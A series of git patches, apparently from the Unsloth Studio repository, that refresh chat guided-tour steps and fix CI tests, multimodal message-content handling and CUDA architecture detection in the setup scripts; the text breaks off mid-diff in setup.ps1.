--- a/studio/frontend/src/features/chat/tour/steps.tsx
+++ b/studio/frontend/src/features/chat/tour/steps.tsx
@@ -38,9 +38,10 @@ export function buildChatTourSteps({
       title: "Two tabs",
       body: (
         <>
-          Hub: search Hugging Face models. Fine-tuned: local Unsloth outputs you’ve
-          trained or exported. If results look off, compare base vs fine-tuned
-          outputs to see what changed.
+          Hub: search Unsloth’s models here, or hit Search Hub to browse all of
+          Hugging Face. Fine-tuned: local Unsloth outputs you’ve trained or
+          exported. If results look off, compare base vs fine-tuned outputs to
+          see what changed.
         </>
       ),
       onEnter: openModelSelector,

From 18236bff0fb78ed2a087a12a020b71050eced6d9 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Mon, 22 Jun 2026 22:53:49 -0700
Subject: [PATCH 048/306] Studio: refresh chat guided tour for the redesigned
 model picker (#6597)

* Studio: refresh chat tour for the redesigned model picker

- Pick a model step describes the Recommended and On Device tabs instead of the old Hub and Fine-tuned split
- Find a model step (was Two tabs) covers Unsloth search vs Search Hub, the format and sort filters, and the OOM tag
- Settings step now anchors to the run settings panel on the right. The old anchor sat on the open settings button, which unmounts when settings opens, so the tooltip lost its target and drifted left

* Add guided tour step for the composer + menu
---
 .../src/components/assistant-ui/thread.tsx    |  1 +
 .../frontend/src/features/chat/chat-page.tsx  |  1 -
 .../src/features/chat/chat-settings-sheet.tsx |  5 +++-
 .../frontend/src/features/chat/tour/steps.tsx | 26 ++++++++++++++-----
 4 files changed, 24 insertions(+), 9 deletions(-)

diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index 57e6d02f55..bad9a6b7f3 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -3043,6 +3043,7 @@ const ComposerToolsMenu: FC<{ side?: "top" | "bottom" }> = ({
           type="button"
           aria-label="Tools and attachments"
           className="unsloth-composer-plus"
+          data-tour="chat-plus-menu"
         >
           <PlusIcon className="size-[22px] stroke-[1.75px]" />
         </button>
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index ac0c4de75c..7d4292669d 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -2506,7 +2506,6 @@ export function ChatPage({
                     onClick={() => setSettingsOpen(true)}
                     className="flex h-[34px] w-[34px] translate-x-[2px] cursor-pointer items-center justify-center rounded-full text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
                     aria-label="Open run settings"
-                    data-tour="chat-settings"
                   >
                     <HugeiconsIcon
                       icon={LayoutAlignRightIcon}
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index bd315e19d4..d9b338e069 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -1775,7 +1775,9 @@ export function ChatSettingsPanel({
             <SheetTitle>Run settings</SheetTitle>
             <SheetDescription>Chat inference settings</SheetDescription>
           </SheetHeader>
-          <div className="flex h-full flex-col">{settingsContent}</div>
+          <div data-tour="chat-settings" className="flex h-full flex-col">
+            {settingsContent}
+          </div>
         </SheetContent>
       </Sheet>
     );
@@ -1783,6 +1785,7 @@ export function ChatSettingsPanel({
 
   return (
     <aside
+      data-tour="chat-settings"
       className={`relative z-50 shrink-0 h-full overflow-hidden bg-panel-surface text-panel-surface-fg font-heading ${open ? "w-[17rem] border-l border-sidebar-border" : "w-0"}`}
     >
       <div className="h-full w-full">{settingsContent}</div>
diff --git a/studio/frontend/src/features/chat/tour/steps.tsx b/studio/frontend/src/features/chat/tour/steps.tsx
index 7e304ed590..84e3fe5950 100644
--- a/studio/frontend/src/features/chat/tour/steps.tsx
+++ b/studio/frontend/src/features/chat/tour/steps.tsx
@@ -27,21 +27,21 @@ export function buildChatTourSteps({
       title: "Pick a model",
       body: (
         <>
-          This selects what’s loaded for inference. Hub = base models. Fine-tuned
-          = trained Unsloth outputs, including LoRA adapters and full finetunes.
+          Selects what’s loaded for inference. Recommended is Unsloth’s curated
+          base models; On Device is your downloads and fine-tuned outputs (LoRA
+          adapters and full finetunes).
         </>
       ),
     },
     {
       id: "model-tabs",
       target: "chat-model-selector-popover",
-      title: "Two tabs",
+      title: "Find a model",
       body: (
         <>
-          Hub: search Unsloth’s models here, or hit Search Hub to browse all of
-          Hugging Face. Fine-tuned: local Unsloth outputs you’ve trained or
-          exported. If results look off, compare base vs fine-tuned outputs to
-          see what changed.
+          Search Unsloth’s models, or hit Search Hub for all of Hugging Face.
+          Switch Recommended and On Device, filter by format, and sort by
+          trending or recent. An OOM tag means it won’t fit in your VRAM.
         </>
       ),
       onEnter: openModelSelector,
@@ -60,6 +60,18 @@ export function buildChatTourSteps({
       onEnter: openSettings,
       onExit: closeSettings,
     },
+    {
+      id: "plus-menu",
+      target: "chat-plus-menu",
+      title: "The + menu",
+      body: (
+        <>
+          Everything else lives here: attach photos and files, reuse saved
+          prompts, toggle tools and MCP, start a side-by-side compare, and
+          export the chat.
+        </>
+      ),
+    },
   ];
 
   if (canCompare) {

From e226e0ac3560dd884452d3cc11d8674baf02ebb1 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 01:16:47 -0700
Subject: [PATCH 049/306] CI: fix import-hoist false positive, vision-cache
 test cwd, llama.cpp CLI smoke (#6598)

Three independent upstream CI fixes that currently fail on every open PR:

verify_import_hoist.py: TARGET-CHANGED only flags a genuine swap (a BEFORE
target no longer reachable in AFTER). A pure superset growth such as adding
import urllib.error next to import urllib.request binds the same top-level
package and loses nothing, so it is no longer a blocker (transformers_version.py).

test_vision_cache.py: run each test from a fresh empty cwd. is_vision_model
calls is_local_path first, and a relative model id that happens to exist on
disk short-circuits before the mocked detection runs; the CI cwd and HF cache
can contain dirs colliding with the synthetic ids, causing 'called 0 times'.
Production code is correct; only the test needed cwd isolation.

consolidated-tests-ci.yml: the llama.cpp smoke probes the first of
llama-cli / llama-mtmd-cli / llama-server that exists instead of hard-requiring
llama-cli, which upstream no longer always builds. llama-cli stays first so it
is preferred when present. Adds Windows .exe + build/bin/Release handling.
---
 .github/workflows/consolidated-tests-ci.yml | 75 ++++++++++++++++-----
 scripts/verify_import_hoist.py              |  9 ++-
 studio/backend/tests/test_vision_cache.py   | 16 ++++-
 3 files changed, 81 insertions(+), 19 deletions(-)

diff --git a/.github/workflows/consolidated-tests-ci.yml b/.github/workflows/consolidated-tests-ci.yml
index f7c338d76b..b56a6c2615 100644
--- a/.github/workflows/consolidated-tests-ci.yml
+++ b/.github/workflows/consolidated-tests-ci.yml
@@ -2204,12 +2204,13 @@ jobs:
           pip install -e "$RUNNER_TEMP/unsloth-zoo" --no-deps
           pip show unsloth_zoo
 
-      - name: llama.cpp install via unsloth_zoo.llama_cpp + `llama-cli --help` smoke
+      - name: llama.cpp install via unsloth_zoo.llama_cpp + CLI `--help` smoke
         # Exercise the canonical `unsloth_zoo.llama_cpp.install_llama_cpp`
         # flow that GGUF export uses at runtime: clone ggml-org/llama.cpp
         # into ~/.unsloth/llama.cpp, build the LLAMA_CPP_TARGETS list
         # (llama-quantize, llama-cli, llama-mtmd-cli, llama-gguf-split,
-        # llama-server) via cmake, then run `llama-cli --help`.
+        # llama-server) via cmake, then run `--help` on whichever CLI
+        # inference binary the build actually produced.
         #
         # This replaces the previous "download upstream prebuilt zip"
         # approach, which silently exited 0 with the message
@@ -2218,6 +2219,18 @@ jobs:
         # matched their current asset names). The build path is the same
         # one Unsloth users hit in production via `model.save_pretrained_gguf`.
         #
+        # We do NOT hard-require `llama-cli` specifically: upstream
+        # ggml-org/llama.cpp moved the cli/server/ui targets behind the
+        # `LLAMA_BUILD_SERVER` cmake option (tools/CMakeLists.txt) and the
+        # set of binaries that survive a given checkout drifts over time
+        # (e.g. a recent build root shipped llama-server + llama-quantize
+        # + llama-diffusion-cli but no llama-cli). The durable contract is
+        # "install_llama_cpp produced a working CLI inference binary AND a
+        # working quantizer", so we --help-probe the first of
+        # llama-cli / llama-mtmd-cli / llama-server that exists. If a
+        # future llama.cpp restores llama-cli it is first in the list and
+        # is preferred, so this stays backwards compatible.
+        #
         # Wall-time budget: ~3-5 min cold, dominated by cmake build of
         # 5 targets on the runner's 4 cores. Apt-package install is
         # handled by `install_llama_cpp` itself via its
@@ -2252,8 +2265,9 @@ jobs:
           print(f"Build targets: {LLAMA_CPP_TARGETS}")
           # install_llama_cpp returns (quantizer_path, converter_script_path).
           # The quantizer's directory is the `llama.cpp` install root, which
-          # also holds llama-cli after build/bin/llama-* gets copied up
-          # (llama_cpp.py:867-871).
+          # also holds the CLI inference binaries after build/bin/llama-* gets
+          # copied up (llama_cpp.py:1450-1454; on Windows they stay in
+          # build/bin/Release/).
           quantizer, converter = install_llama_cpp(print_output=True)
           assert quantizer and os.path.exists(quantizer), (
               f"install_llama_cpp returned quantizer={quantizer!r} but file missing"
@@ -2262,25 +2276,54 @@ jobs:
               f"install_llama_cpp returned converter={converter!r} but missing"
           )
           install_root = os.path.dirname(quantizer)
-          cli = os.path.join(install_root, "llama-cli")
-          assert os.path.exists(cli), (
-              f"llama-cli not found at {cli!r} after build. Build root contents: "
-              f"{sorted(p for p in os.listdir(install_root) if p.startswith('llama-'))[:20]}"
-          )
-          assert os.access(cli, os.X_OK), f"{cli!r} not executable"
-          # `llama-cli --help` exits non-zero on some builds; the contract
-          # is that recognizable help text appears on stdout/stderr.
+          is_windows = sys.platform == "win32"
+          exe = ".exe" if is_windows else ""
+          # Search both the copied-up root and the Windows build/bin/Release/
+          # location the quantizer might already live in.
+          search_dirs = [install_root]
+          win_release = os.path.join(install_root, "build", "bin", "Release")
+          if win_release not in search_dirs:
+              search_dirs.append(win_release)
+          # Any of these proves a working llama.cpp CLI inference binary was
+          # built. Order = preference: llama-cli is canonical (restored first
+          # if upstream brings it back), then the multimodal CLI, then the
+          # server (always built whenever cli would be, behind LLAMA_BUILD_SERVER).
+          cli_names = [f"llama-cli{exe}", f"llama-mtmd-cli{exe}", f"llama-server{exe}"]
+          cli = None
+          cli_name = None
+          for name in cli_names:
+              for d in search_dirs:
+                  candidate = os.path.join(d, name)
+                  if os.path.exists(candidate) and (is_windows or os.access(candidate, os.X_OK)):
+                      cli, cli_name = candidate, name
+                      break
+              if cli is not None:
+                  break
+          if cli is None:
+              found = []
+              for d in search_dirs:
+                  if os.path.isdir(d):
+                      found += [p for p in os.listdir(d) if p.startswith("llama-")]
+              raise AssertionError(
+                  f"No CLI inference binary ({', '.join(cli_names)}) found after "
+                  f"build in {search_dirs}. Build root contents: {sorted(set(found))[:20]}"
+              )
+          print(f"Using CLI inference binary: {cli_name} -> {cli}")
+          # `--help` exits non-zero on some builds; the contract is that
+          # recognizable help text appears on stdout/stderr. llama-server
+          # exposes a different flag set than llama-cli, so accept its
+          # tokens too (e.g. --host / --port / "server").
           proc = subprocess.run(
               [cli, "--help"], capture_output=True, text=True, timeout=30,
           )
           combined = (proc.stdout or "") + (proc.stderr or "")
-          print("--- llama-cli --help (first 30 lines) ---")
+          print(f"--- {cli_name} --help (first 30 lines) ---")
           print("\n".join(combined.splitlines()[:30]))
           assert any(
               tok in combined.lower()
-              for tok in ("usage", "--help", "--model", "-m,")
+              for tok in ("usage", "--help", "--model", "-m,", "--host", "--port", "server")
           ), (
-              f"llama-cli --help produced no recognizable help text. "
+              f"{cli_name} --help produced no recognizable help text. "
               f"exit={proc.returncode}\nstdout: {proc.stdout[:400]!r}\n"
               f"stderr: {proc.stderr[:400]!r}"
           )
@@ -2296,7 +2339,7 @@ jobs:
               f"stderr: {q.stderr[:400]!r}"
           )
           print(
-              f"\nOK: install_llama_cpp produced a working llama-cli at {cli} "
+              f"\nOK: install_llama_cpp produced a working {cli_name} at {cli} "
               f"and llama-quantize at {quantizer}."
           )
           PY
diff --git a/scripts/verify_import_hoist.py b/scripts/verify_import_hoist.py
index b8cb0573fe..b4c908b0cb 100644
--- a/scripts/verify_import_hoist.py
+++ b/scripts/verify_import_hoist.py
@@ -581,9 +581,16 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
             )
 
     # 3. TARGET-CHANGED (same scope+name resolves to a different import target)
+    #    Only a *swap* is dangerous: a BEFORE target that is no longer reachable in
+    #    AFTER means a reference was silently re-pointed. A pure superset growth
+    #    (tbefore <= tafter) is the benign `import pkg.subA` + `import pkg.subB`
+    #    case: both statements bind the same top-level name `pkg` to the same
+    #    package object and only *add* submodule attributes (e.g. adding
+    #    `import urllib.error` next to `import urllib.request`). Nothing the name
+    #    resolved to before is lost, so no reference is re-pointed -- skip it.
     for key, tafter in b["target_by_use"].items():
         tbefore = a["target_by_use"].get(key)
-        if tbefore and tbefore != tafter:
+        if tbefore and tbefore != tafter and (tbefore - tafter):
             findings.append(
                 (
                     "BLOCKER",
diff --git a/studio/backend/tests/test_vision_cache.py b/studio/backend/tests/test_vision_cache.py
index 192bec53c8..4349687c54 100644
--- a/studio/backend/tests/test_vision_cache.py
+++ b/studio/backend/tests/test_vision_cache.py
@@ -41,8 +41,20 @@ from utils.models.model_config import (
 
 
 @pytest.fixture(autouse = True)
-def _clear_vision_cache():
-    """Ensure every test starts with a fresh cache."""
+def _clear_vision_cache(tmp_path, monkeypatch):
+    """Ensure every test starts with a fresh cache, from an empty working dir.
+
+    ``is_vision_model`` calls ``is_local_path`` first: any relative model id that
+    happens to exist on disk (``Path(name).exists()``) is treated as a local
+    model, short-circuiting before the mocked detection internals run. The CI cwd
+    (``studio/backend``) and the HF cache can contain dirs whose names collide
+    with the synthetic remote ids used here (``org/my-vlm``, ``model-a``,
+    ``broken/model`` ...), which made these tests fail with "called 0 times".
+    Running each test from a fresh empty ``tmp_path`` removes that collision
+    while leaving the real ``is_local_path`` logic intact (the local-GGUF tests
+    pass absolute ``tmp_path`` paths, unaffected by cwd).
+    """
+    monkeypatch.chdir(tmp_path)
     _vision_detection_cache.clear()
     yield
     _vision_detection_cache.clear()

From bebc93d8fc6e555a55744f06aaca8ddd37584ab4 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 01:26:11 -0700
Subject: [PATCH 050/306] fix(studio): handle multimodal list content in
 inference text paths (#4383) (#6480)

* fix(studio): handle multimodal list content in inference text paths

Studio receives chat message content in two shapes: the legacy string
form, and the OpenAI multimodal list form
([{"type": "text", "text": ...}, {"type": "image_url", ...}]).
Several string-only paths called .strip()/re.sub()/f-string interpolation
on content directly, raising "'list' object has no attribute 'replace'"
for vision models (issue #4383), or rendering the list repr into the
prompt for the manual chat-template formatters.

Add core/inference/message_content.py with content_to_text(), a pure
helper (no heavy imports) that returns strings unchanged and joins the
text parts of a list while dropping image/audio parts. Apply it at every
string-only content site: _generate_vision_response, the audio user-text
extraction, format_chat_prompt, and the llama3/mistral/chatml/alpaca/
generic template formatters. The plain-string path is a no-op, so
existing behavior is unchanged.

Adds tests/test_message_content.py covering str/None/list/tuple,
multimodal drop, multi-part join and empty-part skipping.

* Tighten code comments (no logic change)

* studio: join multimodal text parts with newline for llama.cpp parity

llama.cpp joins multiple text content parts with a newline (common/chat.cpp),
so match that in content_to_text instead of a single space.

---------

Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
---
 studio/backend/core/inference/inference.py    |  28 ++---
 .../backend/core/inference/message_content.py |  38 +++++++
 studio/backend/tests/test_message_content.py  | 100 ++++++++++++++++++
 3 files changed, 153 insertions(+), 13 deletions(-)
 create mode 100644 studio/backend/core/inference/message_content.py
 create mode 100644 studio/backend/tests/test_message_content.py

diff --git a/studio/backend/core/inference/inference.py b/studio/backend/core/inference/inference.py
index 2b9517692f..4dca4db768 100644
--- a/studio/backend/core/inference/inference.py
+++ b/studio/backend/core/inference/inference.py
@@ -26,6 +26,7 @@ from utils.hardware import (
 )
 from core.inference.audio_codecs import AudioCodecManager
 from core.inference.runtime_context import runtime_context_length
+from core.inference.message_content import content_to_text
 from io import StringIO
 import structlog
 from loggers import get_logger
@@ -1018,7 +1019,7 @@ class InferenceBackend:
         user_message = ""
         if messages and messages[-1]["role"] == "user":
             import re
-            user_message = messages[-1]["content"]
+            user_message = content_to_text(messages[-1]["content"])
             user_message = re.sub(r"<img[^>]*>", "", user_message).strip()
 
         if not user_message:
@@ -1181,7 +1182,7 @@ class InferenceBackend:
         if messages:
             for msg in reversed(messages):
                 if msg["role"] == "user" and msg.get("content"):
-                    user_text = msg["content"]
+                    user_text = content_to_text(msg["content"])
                     break
 
         # ASR-specific default system prompt if none set
@@ -1713,7 +1714,7 @@ class InferenceBackend:
 
         for msg in messages:
             role = msg.get("role", "")
-            content = msg.get("content", "")
+            content = content_to_text(msg.get("content", ""))
 
             if role in ["system", "user", "assistant"] and content.strip():
                 if role == last_role:
@@ -1801,7 +1802,7 @@ class InferenceBackend:
 
         for msg in messages:
             role = msg["role"]
-            content = msg["content"]
+            content = content_to_text(msg["content"])
             formatted += f"<|start_header_id|>{role}<|end_header_id|>\n\n{content}<|eot_id|>"
 
         formatted += "<|start_header_id|>assistant<|end_header_id|>\n\n"
@@ -1817,14 +1818,14 @@ class InferenceBackend:
 
         for msg in messages:
             if msg["role"] == "system":
-                system_msg = msg["content"]
+                system_msg = content_to_text(msg["content"])
             else:
                 conversation.append(msg)
 
         i = 0
         while i < len(conversation):
             if conversation[i]["role"] == "user":
-                user_content = conversation[i]["content"]
+                user_content = content_to_text(conversation[i]["content"])
 
                 if system_msg and i == 0:
                     user_content = f"{system_msg}\n\n{user_content}"
@@ -1832,7 +1833,7 @@ class InferenceBackend:
                 formatted += f"[INST] {user_content} [/INST]"
 
                 if i + 1 < len(conversation) and conversation[i + 1]["role"] == "assistant":
-                    formatted += f" {conversation[i + 1]['content']}</s>"
+                    formatted += f" {content_to_text(conversation[i + 1]['content'])}</s>"
                     i += 2
                 else:
                     formatted += " "
@@ -1848,7 +1849,7 @@ class InferenceBackend:
 
         for msg in messages:
             role = msg["role"]
-            content = msg["content"]
+            content = content_to_text(msg["content"])
             formatted += f"<|im_start|>{role}\n{content}<|im_end|>\n"
 
         formatted += "<|im_start|>assistant\n"
@@ -1860,16 +1861,17 @@ class InferenceBackend:
         system_msg = None
 
         for msg in messages:
+            content = content_to_text(msg["content"])
             if msg["role"] == "system":
-                system_msg = msg["content"]
+                system_msg = content
             elif msg["role"] == "user":
                 if system_msg:
-                    formatted += f"### Instruction:\n{system_msg}\n\n### Input:\n{msg['content']}\n\n### Response:\n"
+                    formatted += f"### Instruction:\n{system_msg}\n\n### Input:\n{content}\n\n### Response:\n"
                     system_msg = None
                 else:
-                    formatted += f"### Human:\n{msg['content']}\n\n### Assistant:\n"
+                    formatted += f"### Human:\n{content}\n\n### Assistant:\n"
             elif msg["role"] == "assistant":
-                formatted += f"{msg['content']}\n\n"
+                formatted += f"{content}\n\n"
 
         return formatted
 
@@ -1879,7 +1881,7 @@ class InferenceBackend:
 
         for msg in messages:
             role = msg["role"].title()
-            content = msg["content"]
+            content = content_to_text(msg["content"])
             formatted += f"{role}: {content}\n"
 
         formatted += "Assistant: "
diff --git a/studio/backend/core/inference/message_content.py b/studio/backend/core/inference/message_content.py
new file mode 100644
index 0000000000..b7c499a087
--- /dev/null
+++ b/studio/backend/core/inference/message_content.py
@@ -0,0 +1,38 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Normalize chat-message `content` (string or OpenAI multimodal list) to text.
+
+String-only formatting paths called string ops directly on `content` and broke
+on the list form (#4383). `content_to_text` collapses either shape to a string,
+dropping non-text parts. No heavy imports, so it is unit-testable alone.
+"""
+
+from __future__ import annotations
+
+from typing import Any
+
+
+def content_to_text(content: Any) -> str:
+    """Plain text of a `content`: str unchanged, list/tuple text parts newline-joined
+    (non-text dropped), None to "", else str(content)."""
+    if content is None:
+        return ""
+    if isinstance(content, str):
+        return content
+    if isinstance(content, (list, tuple)):
+        parts = []
+        for item in content:
+            if isinstance(item, str):
+                if item:
+                    parts.append(item)
+            elif isinstance(item, dict):
+                # Skip non-text parts (image_url, input_audio, ...).
+                part_type = item.get("type")
+                if part_type is not None and part_type != "text":
+                    continue
+                text = item.get("text")
+                if isinstance(text, str) and text:
+                    parts.append(text)
+        return "\n".join(parts)
+    return str(content)
diff --git a/studio/backend/tests/test_message_content.py b/studio/backend/tests/test_message_content.py
new file mode 100644
index 0000000000..6da3682141
--- /dev/null
+++ b/studio/backend/tests/test_message_content.py
@@ -0,0 +1,100 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for `content_to_text`, the #4383 fix for list-form message content.
+
+Loaded by file path so the test skips importing ``core.inference`` (whose
+``__init__`` pulls in the orchestrator + llama_cpp / torch).
+"""
+
+import importlib.util
+from pathlib import Path
+
+
+_BACKEND_DIR = Path(__file__).resolve().parent.parent
+
+
+def _load_message_content():
+    path = _BACKEND_DIR / "core/inference/message_content.py"
+    spec = importlib.util.spec_from_file_location("message_content_under_test", path)
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+def test_string_is_returned_unchanged():
+    mc = _load_message_content()
+    assert mc.content_to_text("hello world") == "hello world"
+    assert mc.content_to_text("") == ""
+
+
+def test_none_becomes_empty_string():
+    mc = _load_message_content()
+    assert mc.content_to_text(None) == ""
+
+
+def test_single_text_part_list():
+    mc = _load_message_content()
+    content = [{"type": "text", "text": "hello"}]
+    assert mc.content_to_text(content) == "hello"
+
+
+def test_multimodal_list_drops_non_text_parts():
+    mc = _load_message_content()
+    content = [
+        {"type": "text", "text": "describe this"},
+        {"type": "image_url", "image_url": {"url": "data:image/png;base64,AAAA"}},
+    ]
+    assert mc.content_to_text(content) == "describe this"
+
+
+def test_multiple_text_parts_joined_with_newline():
+    mc = _load_message_content()
+    content = [
+        {"type": "text", "text": "first"},
+        {"type": "text", "text": "second"},
+    ]
+    assert mc.content_to_text(content) == "first\nsecond"
+
+
+def test_bare_string_items_in_list():
+    mc = _load_message_content()
+    assert mc.content_to_text(["a", "b"]) == "a\nb"
+
+
+def test_audio_and_image_only_list_is_empty():
+    mc = _load_message_content()
+    content = [
+        {"type": "image_url", "image_url": {"url": "x"}},
+        {"type": "input_audio", "input_audio": {"data": "y", "format": "wav"}},
+    ]
+    assert mc.content_to_text(content) == ""
+
+
+def test_part_without_type_treated_as_text():
+    mc = _load_message_content()
+    # A ``text`` field with no ``type`` is treated as text.
+    assert mc.content_to_text([{"text": "untyped"}]) == "untyped"
+
+
+def test_empty_text_parts_skipped():
+    mc = _load_message_content()
+    content = [
+        {"type": "text", "text": ""},
+        {"type": "text", "text": "kept"},
+    ]
+    assert mc.content_to_text(content) == "kept"
+
+
+def test_tuple_behaves_like_list():
+    mc = _load_message_content()
+    content = ({"type": "text", "text": "x"}, {"type": "text", "text": "y"})
+    assert mc.content_to_text(content) == "x\ny"
+
+
+def test_result_supports_string_ops():
+    mc = _load_message_content()
+    # Crux of #4383: result must be a plain str for caller .strip()/.replace().
+    out = mc.content_to_text([{"type": "text", "text": "  padded  "}])
+    assert out.strip() == "padded"
+    assert isinstance(out, str)

From 70926822db308b5713d8f7622cb2c8ba2e8a3b7a Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 01:26:43 -0700
Subject: [PATCH 051/306] studio/setup.sh: guard empty CUDA arch detection in
 the source build (#5854) (#6481)

* studio/setup.sh: guard empty CUDA arch detection in the source build

PR #5826 hardened setup.sh for fresh CUDA toolkits, but the source build
still set -DCMAKE_CUDA_ARCHITECTURES only when nvidia-smi reported a
compute capability. When that query returns nothing the build proceeded
with no explicit arch list, so llama.cpp built PTX only. On a driver older
than the toolkit that binary fails at runtime with "the provided PTX was
compiled with an unsupported toolchain" - the build succeeds, so neither
the build-time check nor the CPU fallback caught it (issue #5854).

Resolve the arch list before committing to a CUDA build. A new pure helper
_resolve_cuda_archs parses and de-duplicates the nvidia-smi compute_cap
output and honors an explicit UNSLOTH_LLAMA_CUDA_ARCHS override. When the
result is empty, build CPU llama.cpp instead of a PTX-only binary, with a
clear message pointing at the override - so the user still ends up with a
working llama-server. The override also lets advanced users force a native
build on hosts where nvidia-smi cannot report compute_cap.

No behavior change when an arch is detected: -DGGML_CUDA=ON plus the arch,
CUDA flags and NVCC_PREPEND_FLAGS are assembled exactly as before.

Adds tests/sh/test_resolve_cuda_archs.sh (single/multi/dedup/empty/garbage/
whitespace/override cases), wired into tests/run_all.sh and the
studio-backend-ci.yml shell-test loop.

* studio/setup.sh: resolve nvidia-smi via /usr/bin fallback for arch detection

Addresses review feedback on the empty-CUDA-arch guard: _setup_has_usable_nvidia_gpu
classifies a host as NVIDIA-usable using nvidia-smi on PATH OR /usr/bin/nvidia-smi,
but the new arch detection probed only `command -v nvidia-smi`. On a GPU host where
nvidia-smi is off PATH (reachable only at /usr/bin), arch detection returned empty
and the new empty-arch branch dropped the build to CPU, losing CUDA. Mirror the same
PATH-then-/usr/bin resolution so those hosts still get a native CUDA build.

Also scope _resolve_cuda_archs locals with `local` (no behavior change; it already
runs under command substitution).

* tests: update compute_cap-probe assertion for $_smi_bin resolution

The nvidia-smi /usr/bin fallback parameterized the binary in the compute_cap
probe (_setup_run_smi "$_smi_bin" ...), so the literal-string assertion in
test_compute_cap_probe_timeout_wrapped no longer matched. Assert the probe is
preceded by _setup_run_smi (timeout-wrapped) instead, scanning all occurrences
so the comment mention is ignored. Same intent, binary-agnostic.

* tests: ruff-format the compute_cap probe assertion (pre-commit)

Collapse the backslash-continued assert onto one line and normalize slice
spacing so the ruff-format pre-commit hook (0.6.9) is satisfied. Formatting
only; no behavior change.

* Tighten code comments (no logic change)

* studio(windows): build CPU when CUDA arch is undetectable (#5854)

The Windows source build added -DGGML_CUDA=ON unconditionally but only set
-DCMAKE_CUDA_ARCHITECTURES when $CudaArch was detected. With no detectable
compute capability that produced a PTX-only binary, the same hole the Linux
fix closed. Build CPU llama.cpp in that case, and honor UNSLOTH_LLAMA_CUDA_ARCHS
to force a CUDA build, matching setup.sh. Detected-arch builds are unchanged.

* test: anchor NVCC_PREPEND_FLAGS scope check on the final CPU branch

The undetectable-arch CPU fallback adds an earlier -DGGML_CUDA=OFF, so the
ordering check now anchors on -DGGML_CUDA=ON and the last -DGGML_CUDA=OFF
instead of the first.

---------

Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
---
 .github/workflows/studio-backend-ci.yml       |  1 +
 studio/setup.ps1                              | 70 +++++++++++-------
 studio/setup.sh                               | 74 +++++++++++++------
 tests/run_all.sh                              |  1 +
 tests/sh/test_resolve_cuda_archs.sh           | 68 +++++++++++++++++
 .../install/test_gpu_detection_followups.py   | 15 +++-
 tests/studio/install/test_pr4562_bugfixes.py  | 13 ++--
 7 files changed, 185 insertions(+), 57 deletions(-)
 create mode 100755 tests/sh/test_resolve_cuda_archs.sh

diff --git a/.github/workflows/studio-backend-ci.yml b/.github/workflows/studio-backend-ci.yml
index 6e53a290cf..ea60252cf6 100644
--- a/.github/workflows/studio-backend-ci.yml
+++ b/.github/workflows/studio-backend-ci.yml
@@ -226,6 +226,7 @@ jobs:
               tests/sh/test_studio_home_node_dir.sh \
               tests/sh/test_system_node_readonly.sh \
               tests/sh/test_nvcc_meets_llama_minimum.sh \
+              tests/sh/test_resolve_cuda_archs.sh \
               tests/sh/test_tauri_install_exit_order.sh \
               tests/sh/test_torch_constraint.sh \
               tests/sh/test_torch_flavor.sh; do
diff --git a/studio/setup.ps1 b/studio/setup.ps1
index 20f5bd1ada..6b16702d3a 100644
--- a/studio/setup.ps1
+++ b/studio/setup.ps1
@@ -3704,35 +3704,49 @@ if (-not $NeedLlamaSourceBuild) {
         $CmakeArgs += '-DCMAKE_EXE_LINKER_FLAGS=/NODEFAULTLIB:LIBCMT'
         # CUDA flags -- only if GPU available, otherwise explicitly disable
         if ($HasNvidiaSmi -and $NvccPath) {
-            $CmakeArgs += '-DGGML_CUDA=ON'
-            # Accept a host MSVC newer than nvcc's whitelist; a fresh toolkit
-            # (e.g. CUDA 13.3) otherwise aborts with "#error -- unsupported
-            # Microsoft Visual Studio version!". Mirrors the Linux fix. Via env
-            # (covers the configure probe + build), after Refresh-Environment, idempotent.
-            $nvccAllowFlag = '-allow-unsupported-compiler'
-            if ([string]::IsNullOrEmpty($env:NVCC_PREPEND_FLAGS)) {
-                $env:NVCC_PREPEND_FLAGS = $nvccAllowFlag
-            } elseif ($env:NVCC_PREPEND_FLAGS -notlike "*$nvccAllowFlag*") {
-                $env:NVCC_PREPEND_FLAGS = "$($env:NVCC_PREPEND_FLAGS) $nvccAllowFlag"
-            }
-            substep "NVCC_PREPEND_FLAGS = $env:NVCC_PREPEND_FLAGS"
-            $CmakeArgs += "-DCUDAToolkit_ROOT=$CudaToolkitRoot"
-            $CmakeArgs += "-DCUDA_TOOLKIT_ROOT_DIR=$CudaToolkitRoot"
-            $CmakeArgs += "-DCMAKE_CUDA_COMPILER=$NvccPath"
-            if ($CudaArch) {
-                # Validate nvcc actually supports this architecture
-                if (Test-NvccArchSupport -NvccExe $NvccPath -Arch $CudaArch) {
-                    $CmakeArgs += "-DCMAKE_CUDA_ARCHITECTURES=$CudaArch"
-                } else {
